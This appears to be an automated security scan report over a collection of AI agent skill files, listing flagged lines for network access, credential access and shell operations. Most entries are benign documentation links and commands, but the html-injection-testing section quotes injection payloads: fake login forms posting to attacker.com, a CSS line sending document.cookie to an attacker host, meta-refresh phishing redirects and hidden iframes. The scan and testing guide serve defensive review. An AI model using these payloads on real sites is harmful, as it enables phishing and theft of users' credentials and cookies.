    ![A diagram that shows one layout style for a generic pass. A top row contains a logo, logo text, and header field areas. A second row contains areas for a primary field and a thumbnail. A third row contains a secondary fields area. A fourt
  • Network accessline 206
    ![A diagram that shows a second layout style for a generic pass. A top row contains a logo, logo text, and header field areas. A second row contains areas for a primary field and a thumbnail. A third row contains a secondary and auxiliary f
  • Network accessline 208
    ### [Passes for Apple Watch](https://developer.apple.com/design/human-interface-guidelines/wallet#Passes-for-Apple-Watch)
  • Network accessline 212
    ![A screenshot of a selected flight pass in a list of passes on Apple Watch. The pass includes information about a flight from SFO to LGA. The next pass in the list is a gym membership card with a barcode.](https://docs-assets.developer.app
  • Network accessline 216
    ![A screenshot of a flight pass on Apple Watch. The pass includes information about a flight from SFO to LGA, and appears above a QR code.](https://docs-assets.developer.apple.com/published/0f74b7b757684a79981367adf14d6adb/watch-pass-design
  • Network accessline 220
    ![A diagram that shows the basic layout of a pass on Apple Watch. A top row contains a logo image and an essential field area. A second row contains a primary field area. A third row contains a secondary and auxiliary fields area.](https://
  • Network accessline 236
    ![A diagram that shows the layout of a boarding pass on Apple Watch. The first row contains a logo image and departure or boarding time information. The second row contains origin and destination information. The third row contains the pass
  • Network accessline 238
    ![A diagram that shows the layout of a coupon pass on Apple Watch. The first row contains a logo image and expiration date. The second row contains a strip image. The third row is unused.](https://docs-assets.developer.apple.com/published/1
  • Network accessline 240
    ![A diagram that shows the layout of a store card on Apple Watch. The top first row contains a logo image and an unused area. The second row contains a strip image. The third row contains a member name and number.](https://docs-assets.devel
  • Network accessline 242
    ![A diagram that shows the layout of an event ticket on Apple Watch. The first row contains a logo image and an event start date. The second row contains information about the event. The third row contains an attendee name and seat location
  • Network accessline 244
    ![A diagram that shows the layout of a generic pass on Apple Watch. The first row contains a logo image and an expiration date. The second row contains a strip image. The third row contains a name and number.](https://docs-assets.developer.
  • Network accessline 246
    ## [Order tracking](https://developer.apple.com/design/human-interface-guidelines/wallet#Order-tracking)
  • Network accessline 250
    ![A screenshot of an order fulfillment screen for a food truck app on iPhone. The screen displays information about an order placed, and includes a status bar, shipping address, list of items ordered, and additional order details.](https://
  • Network accessline 252
    ![A screenshot of an order fulfillment screen for a food truck app on iPhone. The screen displays information about an order placed, and denotes that the order was delivered today. The screen includes the shipping address, a link to track t
  • Network accessline 256
    ![A screenshot of a dashboard that displays an order history screen for a food truck app on iPhone. The screen displays a search field, a list of active orders, and a list of orders placed this month.](https://docs-assets.developer.apple.co
  • Network accessline 260
    The [Wallet Orders](https://developer.apple.com/documentation/WalletOrders) schema defines the properties you use to provide order data like product descriptions, order status, contact information, and shipping and pickup details, including
  • Network accessline 262
    ![A screenshot of an order fulfillment screen for a food truck app on iPhone. The screen displays information about an order placed, and includes a status bar, shipping address, list of items ordered, and additional order details. Callouts 
  • Network accessline 264
    **Make it easy for people to add an order to Wallet.** For example, when a customer completes an Apple Pay transaction in your app or website, use [`PKPaymentOrderDetails`](https://developer.apple.com/documentation/PassKit/PKPaymentOrderDet
  • Network accessline 266
    **Make information about an order available immediately after people place it.** People need to confirm that their order was received, even when payment, processing, and fulfillment are still pending. If you won’t have details until a later
  • Network accessline 268
    **Provide fulfillment information as soon as it’s available, and keep the status up to date.** When you supply fulfillment data or you change the status of an order, the system updates the order information and can automatically send a noti
  • Network accessline 270
    **Supply a high-resolution logo image that uses a nontransparent background.** The system displays your logo image in the dashboard and detail view, so you want to make sure that people can instantly recognize it at various sizes. Use the P
  • Network accessline 274
    ![An illustration of donut, representing a product image. Horizontal and vertical lines extend along the bottom and right side of the image, and include labels that denote the illustration is 300 pixels wide by 300 pixels high.](https://doc
  • Network accessline 280
    ### [Displaying order and fulfillment details](https://developer.apple.com/design/human-interface-guidelines/wallet#Displaying-order-and-fulfillment-details)
  • Network accessline 284
    **Provide a link to an area where people manage their order.** When you provide a universal link, people can open your order management area even if they don’t have your app installed. To learn more about universal links, see [Allowing apps
  • Network accessline 286
    **Clearly describe each item so people can verify that their order contains everything they expect.** You can use the [`LineItem`](https://developer.apple.com/documentation/WalletOrders/LineItem) property to provide information like a produ
  • Network accessline 288
    **Supply a prioritized list of your apps that might be installed on the device.** The system uses this list when it needs to display a link to your app within the order details view. For example, if you provide multiple apps and more than o
  • Network accessline 292
    **Make it easy for customers to contact the merchant.** Provide multiple contact methods, so people can choose the one that works best for them. At minimum, you need to provide a link to the merchant’s website or landing page, but you can a
  • Network accessline 294
    ![A screenshot of an order detail screen for a food truck app on iPhone. The screen displays a list of donuts ordered. Above the list is an overlay containing buttons to message or email the merchant, get online support, or call customer se
  • Network accessline 307
    ![A screenshot of an order fulfillment screen for a food truck app on iPhone. The top of the screen displays information about an order placed, and denotes that the order arrives tomorrow. The screen includes the shipping address, a link to
  • Network accessline 311
    **Choose shipping-fulfillment values that match the details you have about the shipping process.** If you know the carrier, enter its name in the `carrier` property; otherwise, leave the default “Track Shipment” value. If you can access det
  • Network accessline 317
    ## [Identity verification](https://developer.apple.com/design/human-interface-guidelines/wallet#Identity-verification)
  • Network accessline 319
    On iPhone running iOS 16 and later, people can store an ID card in Wallet, and later allow an app or App Clip to access information on the card to verify their identity without leaving their current context. For example, a person might need
  • Network accessline 323
    Apple doesn’t create or see the ID documents that people add to Wallet, and when people agree to share identifying information with your app, you receive only encrypted data that isn’t readable on the device. For developer guidance, see [Re
  • Network accessline 327
    **Present a Wallet verification option only when the device supports it.** If the current device can’t return the identify information you request, don’t display a Verify with Apple Wallet button. Be prepared to present a fallback view that
  • Network accessline 340
    **Ask only for the data you actually need.** People may lose trust in your app if you ask for more data than you need to complete the current task or action. For example, if you need to ensure that a customer is at least a certain age, use 
  • Network accessline 342
    **Clearly indicate whether you will keep the data and — if you need to keep it — specify how long you’ll do so.** To help people trust your app, it’s essential to explain how long you might need to keep the personal information they agree t
  • Network accessline 346
    Button type| Consider using when…   ---|---   ![An illustration of a Verify Age with Apple Wallet button.](https://docs-assets.developer.apple.com/published/7ef983aea59530abf3f038216593ab5d/wallet-button-verify-age%402x.png)| Your app can c
  • Network accessline 347
    ---|---   ![An illustration of a Verify Age with Apple Wallet button.](https://docs-assets.developer.apple.com/published/7ef983aea59530abf3f038216593ab5d/wallet-button-verify-age%402x.png)| Your app can complete the current transaction afte
  • Network accessline 348
    ![An illustration of a Verify Age with Apple Wallet button.](https://docs-assets.developer.apple.com/published/7ef983aea59530abf3f038216593ab5d/wallet-button-verify-age%402x.png)| Your app can complete the current transaction after you veri
  • Network accessline 349
    ![An illustration of a Verify Identity with Apple Wallet button.](https://docs-assets.developer.apple.com/published/4e32d4445048f4cea05d1d169e915ba4/wallet-button-verify-identity%402x.png)| Your app can complete the current transaction afte
  • Network accessline 350
    ![An illustration of a Continue with Apple Wallet button.](https://docs-assets.developer.apple.com/published/41c3befed0a2af0868dbcba871a415a2/wallet-button-continue-with%402x.png)| Verify with Wallet forms one part of a verification process
  • Network accessline 351
    ![An illustration of a Verify with Apple Wallet button.](https://docs-assets.developer.apple.com/published/ac3614b1e4b5622cae8533bbe1749d4d/wallet-button-verify-with%402x.png)| Your app can complete the current verification flow without add
  • Network accessline 353
    All button labels are also available in a multiline variant that the system automatically uses when horizontal space is constrained. For developer guidance, see [`PKIdentityButton.Label`](https://developer.apple.com/documentation/PassKit/PK
  • Network accessline 355
    The verification button always uses white letters on a black background. You can choose the style that includes a light outline if you need to ensure that the button contrasts well with a dark background in your app. In addition, you can us
  • Network accessline 357
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/wallet#Platform-considerations)
  • Network accessline 361
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/wallet#Specifications)
  • Network accessline 363
    ### [Pass image dimensions](https://developer.apple.com/design/human-interface-guidelines/wallet#Pass-image-dimensions)
  • Network accessline 382
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/wallet#Resources)
  • Network accessline 384
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/wallet#Related)
  • Network accessline 386
    [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay)
  • Network accessline 388
    [ID Verifier](https://developer.apple.com/design/human-interface-guidelines/id-verifier)
  • Network accessline 390
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/wallet#Developer-documentation)
  • Network accessline 392
    [FinanceKitUI](https://developer.apple.com/documentation/FinanceKitUI)
  • Network accessline 394
    [FinanceKit](https://developer.apple.com/documentation/FinanceKit)
  • Network accessline 396
    [PassKit (Apple Pay and Wallet)](https://developer.apple.com/documentation/PassKit)
  • Network accessline 398
    [Wallet Passes](https://developer.apple.com/documentation/WalletPasses)
  • Network accessline 400
    [Wallet Orders](https://developer.apple.com/documentation/WalletOrders)
  • Network accessline 402
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/wallet#Videos)
  • Network accessline 404
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/FCB194FA-035A-4955-A518-B59CE8541D6D/9231_wide_250x141_1x.jpg) What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 406
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/0F2B5692-7E7D-4716-9E5F-63E4A4FA13ED/8168_wide_250x141_1x.jpg) What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 408
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/560ECBAA-5557-428A-96EC-6E716EF90909/6534_wide_250x141_1x.jpg) What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2022/10041)
  • Network accessline 410
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/wallet#Change-log)

skills/hosted-agents-v2-py/SKILL.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 175
    "type": "mcp",         "server_label": "my-mcp-server",         "server_url": "https://my-mcp-server.example.com"
  • Network accessline 176
    "server_label": "my-mcp-server",         "server_url": "https://my-mcp-server.example.com"     }
  • Network accessline 177
    "server_url": "https://my-mcp-server.example.com"
  • Network accessline 189
    "type": "mcp",         "server_label": "custom-tool",         "server_url": "https://custom-tool.example.com"
  • Network accessline 190
    "server_label": "custom-tool",         "server_url": "https://custom-tool.example.com"     }
  • Network accessline 191
    "server_url": "https://custom-tool.example.com"
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Access to secretsline 248
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 321
    - [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/)
  • Network accessline 322
    - [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents)
  • Network accessline 323
    - [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)

skills/html-injection-testing/SKILL.md

  • Network accessline 21
    - Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads
  • Network accessline 23
    - cURL for testing payloads
  • Network accessline 118
    <!-- Links --> <a href="http://attacker.com">Click Here</a>
  • Network accessline 119
    <a href="http://attacker.com">Click Here</a>
  • Network accessline 120
    <a href="http://attacker.com">Legitimate Link</a>
  • Network accessline 122
    <!-- Images --> <img src="http://attacker.com/image.png">
  • Network accessline 123
    <img src="http://attacker.com/image.png">
  • Network accessline 129
    # Test basic injection curl "http://target.com/search?q=<h1>Test</h1>"
  • Network accessline 130
    curl "http://target.com/search?q=<h1>Test</h1>"
  • Network accessline 132
    # Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
  • Network accessline 133
    curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
  • Network accessline 135
    # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
  • Network accessline 136
    curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
  • Network accessline 148
    Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">      <h1>Site Under Maintenance</h1>      <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
  • Network accessline 149
    <h1>Site Under Maintenance</h1>      <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>      </div>
  • Network accessline 150
    <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
  • Network accessline 153
    <!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST">
  • Network accessline 154
    Great article! <form action="http://attacker.com/steal" method="POST">     <input name="username" placeholder="Session expired. Enter username:">
  • Network accessline 155
    <form action="http://attacker.com/steal" method="POST">
  • Network accessline 167
    <!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
  • Network accessline 168
    http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
  • Network accessline 170
    <!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
  • Network accessline 171
    http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
  • Network accessline 179
    # POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
  • Network accessline 180
    curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
  • Network accessline 181
    http://target.com/submit
  • Network accessline 183
    # Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
  • Network accessline 184
    curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
  • Network accessline 185
    http://target.com/register
  • Network accessline 193
    <!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1>
  • Network accessline 194
    http://target.com/page/<h1>Injected</h1>
  • Network accessline 196
    <!-- Path-based injection --> http://target.com/users/<img src=x>/profile
  • Network accessline 197
    http://target.com/users/<img src=x>/profile
  • Network accessline 208
    <h2>Session Expired</h2>     <p>Your session has expired. Please log in again.</p>     <form action="http://attacker.com/capture" method="POST">
  • Network accessline 209
    <p>Your session has expired. Please log in again.</p>     <form action="http://attacker.com/capture" method="POST">         <label>Username:</label><br>
  • Network accessline 210
    <form action="http://attacker.com/capture" method="POST">
  • Network accessline 219
    <!-- Hidden credential stealer --> <style>     input { background: url('http://attacker.com/log?data=') }
  • Network accessline 220
    <style>     input { background: url('http://attacker.com/log?data=') } </style>
  • Network accessline 221
    input { background: url('http://attacker.com/log?data=') }
  • Network accessline 222
    </style> <form action="http://attacker.com/steal" method="POST">     <input name="user" placeholder="Verify your username">
  • Network accessline 223
    <form action="http://attacker.com/steal" method="POST">
  • Network accessline 232
    http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%2
  • Network accessline 253
    <!-- Image injection --> <img src="http://attacker.com/defaced.jpg"
  • Network accessline 254
    <img src="http://attacker.com/defaced.jpg"
  • Network accessline 268
    <!-- Style injection --> <style>     body { background: url('http://attacker.com/track?cookie='+document.cookie) }
  • Network accessline 269
    <style>     body { background: url('http://attacker.com/track?cookie='+document.cookie) }     .content { display: none }
  • Network accessline 270
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
  • Network accessline 275
    <!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div>
  • Network accessline 276
    <div style="background:url('http://attacker.com/log')">Content</div>
  • Network accessline 282
    <!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
  • Network accessline 283
    <meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
  • Network accessline 292
    <!-- Hijack existing form --> <form action="http://attacker.com/steal">
  • Network accessline 293
    <form action="http://attacker.com/steal">
  • Network accessline 303
    <!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
  • Network accessline 304
    <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
  • Network accessline 306
    <!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe>
  • Network accessline 307
    <iframe src="http://attacker.com/track" style="display:none"></iframe>
  • Network accessline 371
    target = "http://target.com/search"
  • Network accessline 377
    "<script>alert(1)</script>",     "<img src=x onerror=alert(1)>",     "<a href='http://evil.com'>Click</a>",
  • Network accessline 378
    "<img src=x onerror=alert(1)>",     "<a href='http://evil.com'>Click</a>",     "<div style='color:red'>Styled</div>",
  • Network accessline 379
    "<a href='http://evil.com'>Click</a>",
  • Network accessline 380
    "<div style='color:red'>Styled</div>",     "<marquee>Moving</marquee>",     "<iframe src='http://evil.com'></iframe>",
  • Network accessline 381
    "<marquee>Moving</marquee>",     "<iframe src='http://evil.com'></iframe>", ]
  • Network accessline 382
    "<iframe src='http://evil.com'></iframe>",
  • Network accessline 389
    try:         response = requests.get(url, timeout=5)
  • Network accessline 390
    response = requests.get(url, timeout=5)

skills/hubspot-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/hugging-face-cli/SKILL.md

  • Network accessline 2
    name: hugging-face-cli description: "Execute Hugging Face Hub operations using the `hf` CLI. Use when the user needs to download models/datasets/spaces, upload files to Hub repositories, create repos, manage local cache, or run comput..." s
  • Network accessline 3
    description: "Execute Hugging Face Hub operations using the `hf` CLI. Use when the user needs to download models/datasets/spaces, upload files to Hub repositories, create repos, manage local cache, or run comput..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-cli"
  • Dangerous shell operationline 34
    | Remove from cache | `hf cache rm <repo_or_revision>` |
  • Access to secretsline 50
    [Credential-related source omitted]
  • Dangerous shell operationline 104
    hf cache rm model/gpt2           # Remove cached repo
  • Dangerous shell operationline 105
    hf cache rm <revision_hash>      # Remove cached revision
  • Dangerous shell operationline 185
    hf cache rm model/gpt2           # Remove a repo from cache

skills/hugging-face-jobs/SKILL.md

  • Network accessline 3
    description: "This skill should be used when users want to run any workload on Hugging Face Jobs infrastructure. Covers UV scripts, Docker-based jobs, hardware selection, cost estimation, authentication with tok..." license: "Complete terms
  • Network accessline 4
    license: "Complete terms in LICENSE.txt" source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-jobs" risk: safe
  • Network accessline 5
    source: "https://github.com/huggingface/skills/tree/main/skills/hugging-face-jobs"
  • Network accessline 53
    ### ✅ **Account & Authentication** - Hugging Face Account with [Pro](https://hf.co/pro), [Team](https://hf.co/enterprise), or [Enterprise](https://hf.co/enterprise) plan (Jobs require paid plan)
  • Network accessline 54
    - Hugging Face Account with [Pro](https://hf.co/pro), [Team](https://hf.co/enterprise), or [Enterprise](https://hf.co/enterprise) plan (Jobs require paid plan) - Authenticated login: Check with `hf_whoami()` - **HF_TOKEN for Hub Access** ⚠<U+FE0F>
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 208
    [Credential-related source omitted]
  • Network accessline 212
    - **Cause:** Token lacks required permissions - **Fix:** Ensure token has write permissions for push operations - **Check:** Token type at https://huggingface.co/settings/tokens
  • Network accessline 214
    - **Check:** Token type at https://huggingface.co/settings/tokens
  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 228
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Network accessline 369
    # ✅ URL: host the script somewhere reachable hf_jobs("uv", {"script": "https://huggingface.co/datasets/uv-scripts/.../raw/main/foo.py"})
  • Network accessline 370
    hf_jobs("uv", {"script": "https://huggingface.co/datasets/uv-scripts/.../raw/main/foo.py"})
  • Network accessline 372
    # ✅ URL from GitHub hf_jobs("uv", {"script": "https://raw.githubusercontent.com/huggingface/trl/main/trl/scripts/sft.py"})
  • Network accessline 373
    hf_jobs("uv", {"script": "https://raw.githubusercontent.com/huggingface/trl/main/trl/scripts/sft.py"})
  • Network accessline 470
    > **Reference:** [HF Jobs Hardware Docs](https://huggingface.co/docs/hub/en/spaces-config-reference) (updated 07/2025)
  • Access to secretsline 507
    [Credential-related source omitted]
  • Access to secretsline 510
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]
  • Network accessline 533
    # POST results to your API import requests requests.post("https://your-api.com/results", json=results)
  • Network accessline 535
    requests.post("https://your-api.com/results", json=results)
  • Access to secretsline 543
    [Credential-related source omitted]
  • Access to secretsline 553
    [Credential-related source omitted]
  • Access to secretsline 563
    [Credential-related source omitted]
  • Network accessline 696
    https://huggingface.co/jobs/username/job-id
  • Access to secretsline 847
    [Credential-related source omitted]
  • Network accessline 851
    See [Webhooks Documentation](https://huggingface.co/docs/huggingface_hub/guides/webhooks) for more details.
  • Access to secretsline 880
    [Credential-related source omitted]
  • Access to secretsline 905
    [Credential-related source omitted]
  • Access to secretsline 929
    [Credential-related source omitted]
  • Access to secretsline 953
    [Credential-related source omitted]
  • Access to secretsline 954
    [Credential-related source omitted]
  • Access to secretsline 972
    [Credential-related source omitted]
  • Network accessline 1002
    **Official Documentation:** - [HF Jobs Guide](https://huggingface.co/docs/huggingface_hub/guides/jobs) - Main documentation
  • Network accessline 1003
    - [HF Jobs Guide](https://huggingface.co/docs/huggingface_hub/guides/jobs) - Main documentation
  • Network accessline 1004
    - [HF Jobs CLI Reference](https://huggingface.co/docs/huggingface_hub/guides/cli#hf-jobs) - Command line interface
  • Network accessline 1005
    - [HF Jobs API Reference](https://huggingface.co/docs/huggingface_hub/package_reference/hf_api) - Python API details
  • Network accessline 1006
    - [Hardware Flavors Reference](https://huggingface.co/docs/hub/en/spaces-config-reference) - Available hardware
  • Network accessline 1008
    **Related Tools:** - [UV Scripts Guide](https://docs.astral.sh/uv/guides/scripts/) - PEP 723 inline dependencies
  • Network accessline 1009
    - [UV Scripts Guide](https://docs.astral.sh/uv/guides/scripts/) - PEP 723 inline dependencies
  • Network accessline 1010
    - [UV Scripts Organization](https://huggingface.co/uv-scripts) - Community UV script collection
  • Network accessline 1011
    - [HF Hub Authentication](https://huggingface.co/docs/huggingface_hub/quick-start#authentication) - Token setup
  • Network accessline 1012
    - [Webhooks Documentation](https://huggingface.co/docs/huggingface_hub/guides/webhooks) - Event triggers
  • Access to secretsline 1020
    [Credential-related source omitted]

skills/hybrid-search-implementation/resources/implementation-playbook.md

  • Network accessline 172
    results = await conn.fetch(f"""
  • Network accessline 565
    - [RRF Paper](https://plg.uwaterloo.ca/~gvcormac/cormacksigir09-rrf.pdf)
  • Network accessline 566
    - [Vespa Hybrid Search](https://blog.vespa.ai/improving-text-ranking-with-few-shot-prompting/)
  • Network accessline 567
    - [Cohere Rerank](https://docs.cohere.com/docs/reranking)

skills/i18n-localization/scripts/i18n_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/imagen/SKILL.md

  • Network accessline 2
    name: imagen description: "|" source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen"
  • Network accessline 3
    description: "|" source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen" risk: safe
  • Network accessline 4
    source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/imagen"
  • Access to secretsline 50
    [Credential-related source omitted]

skills/incident-runbook-templates/SKILL.md

  • Network accessline 83
    ### Dashboards - [Payment Service Dashboard](https://grafana/d/payments)
  • Network accessline 84
    - [Payment Service Dashboard](https://grafana/d/payments)
  • Network accessline 85
    - [Error Tracking](https://sentry.io/payments)
  • Network accessline 86
    - [Dependency Status](https://status.stripe.com)
  • Network accessline 98
    # Check error rates curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))"
  • Network accessline 99
    curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))"
  • Network accessline 102
    ### 2. Quick Health Checks - [ ] Can you reach the service? `curl -I https://api.company.com/payments/health`
  • Network accessline 103
    - [ ] Can you reach the service? `curl -I https://api.company.com/payments/health`
  • Network accessline 141
    # Step 1: Check database connections kubectl exec -n payments deploy/payment-service -- \   curl localhost:8080/metrics | grep db_pool
  • Network accessline 142
    kubectl exec -n payments deploy/payment-service --    curl localhost:8080/metrics | grep db_pool
  • Network accessline 143
    curl localhost:8080/metrics | grep db_pool
  • Network accessline 155
    # Step 4: Check external dependency latency curl -w "@curl-format.txt" -o /dev/null -s https://api.stripe.com/v1/health
  • Network accessline 156
    curl -w "@curl-format.txt" -o /dev/null -s https://api.stripe.com/v1/health
  • Network accessline 169
    # Step 2: Check error tracking # Go to Sentry: https://sentry.io/payments
  • Network accessline 170
    # Go to Sentry: https://sentry.io/payments
  • Network accessline 172
    # Step 3: If specific endpoint, enable feature flag to disable curl -X POST https://api.company.com/internal/feature-flags \
  • Network accessline 173
    curl -X POST https://api.company.com/internal/feature-flags \
  • Network accessline 218
    # Verify service is healthy curl -s https://api.company.com/payments/health | jq
  • Network accessline 219
    curl -s https://api.company.com/payments/health | jq
  • Network accessline 221
    # Verify error rate is back to normal curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" | jq '.data.result[0].value[1]'
  • Network accessline 222
    curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" | jq '.data.result[0].value[1]'
  • Network accessline 224
    # Verify latency is acceptable curl -s "http://prometheus:9090/api/v1/query?query=histogram_quantile(0.99,sum(rate(http_request_duration_seconds_bucket[5m]))by(le))" | jq
  • Network accessline 225
    curl -s "http://prometheus:9090/api/v1/query?query=histogram_quantile(0.99,sum(rate(http_request_duration_seconds_bucket[5m]))by(le))" | jq
  • Network accessline 239
    # Rollback feature flag curl -X POST https://api.company.com/internal/feature-flags \
  • Network accessline 240
    curl -X POST https://api.company.com/internal/feature-flags \
  • Network accessline 395
    - [Google SRE Book - Incident Management](https://sre.google/sre-book/managing-incidents/)
  • Network accessline 396
    - [PagerDuty Incident Response](https://response.pagerduty.com/)
  • Network accessline 397
    - [Atlassian Incident Management](https://www.atlassian.com/incident-management)

skills/infinite-gratitude/SKILL.md

  • Network accessline 3
    description: "Multi-agent research skill for parallel research execution (10 agents, battle-tested with real case studies)." risk: safe source: https://github.com/sstklen/infinite-gratitude
  • Network accessline 4
    risk: safe source: https://github.com/sstklen/infinite-gratitude ---
  • Network accessline 5
    source: https://github.com/sstklen/infinite-gratitude
  • Network accessline 10
    > **Source**: [sstklen/infinite-gratitude](https://github.com/sstklen/infinite-gratitude)
  • Network accessline 22
    This is an external skill. Please refer to the [official repository](https://github.com/sstklen/infinite-gratitude) for installation and usage instructions.
  • Network accessline 25
    git clone https://github.com/sstklen/infinite-gratitude

skills/instagram-automation/SKILL.md

  • Network accessline 23
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/intercom-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/internal-comms-anthropic/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/internal-comms-community/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/ios-developer/SKILL.md

  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]

skills/istio-traffic-management/SKILL.md

  • Network accessline 337
    - [Istio Traffic Management](https://istio.io/latest/docs/concepts/traffic-management/)
  • Network accessline 338
    - [Virtual Service Reference](https://istio.io/latest/docs/reference/config/networking/virtual-service/)
  • Network accessline 339
    - [Destination Rule Reference](https://istio.io/latest/docs/reference/config/networking/destination-rule/)

skills/iterate-pr/SKILL.md

  • Network accessline 2
    name: iterate-pr description: "Iterate on a PR until CI passes. Use when you need to fix CI failures, address review feedback, or continuously push fixes until all checks are green. Automates the feedback-fix-push-wait cycle." source: "http
  • Network accessline 3
    description: "Iterate on a PR until CI passes. Use when you need to fix CI failures, address review feedback, or continuously push fixes until all checks are green. Automates the feedback-fix-push-wait cycle." source: "https://github.com/ge
  • Network accessline 4
    source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/iterate-pr"

skills/javascript-mastery/SKILL.md

  • Network accessline 10
    > 33+ essential JavaScript concepts every developer should know, inspired by [33-js-concepts](https://github.com/leonardomso/33-js-concepts).
  • Network accessline 350
    async function fetchUserData(userId) {   try {     const response = await fetch(`/api/users/${userId}`);
  • Network accessline 351
    try {     const response = await fetch(`/api/users/${userId}`);     if (!response.ok) throw new Error("Failed to fetch");
  • Network accessline 352
    const response = await fetch(`/api/users/${userId}`);
  • Network accessline 363
    async function fetchAll() {   const [users, posts] = await Promise.all([     fetch("/api/users"),
